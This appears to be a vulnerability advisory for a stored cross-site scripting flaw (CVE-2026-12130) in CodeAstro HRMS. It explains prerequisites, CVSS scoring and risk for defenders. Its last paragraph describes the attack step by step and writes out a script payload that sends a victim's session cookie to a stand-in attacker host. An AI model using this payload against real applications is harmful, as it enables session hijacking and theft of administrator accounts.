CodeAstro HRMS CVE-2026-12130

The attacker must hold a valid, authenticated low-privilege account within the CodeAstro HRMS application (PR:L confirmed by CVSS 4.0 vector). The attacker must have permission to access the /Projects/Add_Projects endpoint - i.e., the Projects Management feature must be accessible to their role. A separate victim user (typically a higher-privilege user such as an HR administrator) must subsequently view the Projects Management Page, triggering the stored payload in their browser session (UI:P required). Exploitation is limited to: authenticated access only (no unauthenticated path), passive victim interaction (payload does not self-execute - victim must browse to the affected page), and impact is confined to browser-side execution in the victim's session context. No special server configuration or non-default deployment mode is required beyond normal application use.

The CVSS 4.0 base score of 2.0 places this in the Low band, driven by PR:L (attacker must be authenticated), UI:P (victim interaction required), and minimal integrity impact with no confidentiality or availability impact on the vulnerable system itself. However, the CVSS 4.0 vector as provided (SC:N/SI:N/SA:N) does not fully capture downstream browser-context impact: stored XSS that executes in an HR administrator's session can enable cookie exfiltration, session hijacking, and CSRF-equivalent actions - impacts that exceed what the base score suggests. No EPSS data was provided, and the vulnerability is not listed in the CISA KEV catalog, indicating no confirmed active exploitation at scale. The publicly available PoC on GitHub (E:P in the CVSS 4.0 threat metrics) is the most significant risk-elevating signal. Real-world risk is moderate for organizations running this product: an insider threat or compromised low-privilege account could escalate impact against privileged HR staff. The low CVSS score should not cause defenders to dismiss this if untrusted users have access to the Projects Management interface.

An attacker with a low-privilege account in the HRMS (e.g., a regular employee) navigates to the Add Projects page and submits a project title containing a JavaScript payload such as <script>document.location='https://attacker.example/steal?c='+document.cookie</script>. The payload is stored in the database. When an HR administrator later opens the Projects listing, the script executes silently in their browser, exfiltrating their session cookie to the attacker's server. A public PoC on GitHub (https://github.com/ashikmd0507/CVE/tree/main/Stored-XSS-via-Project-Title) documents this exact technique, making reproduction trivial.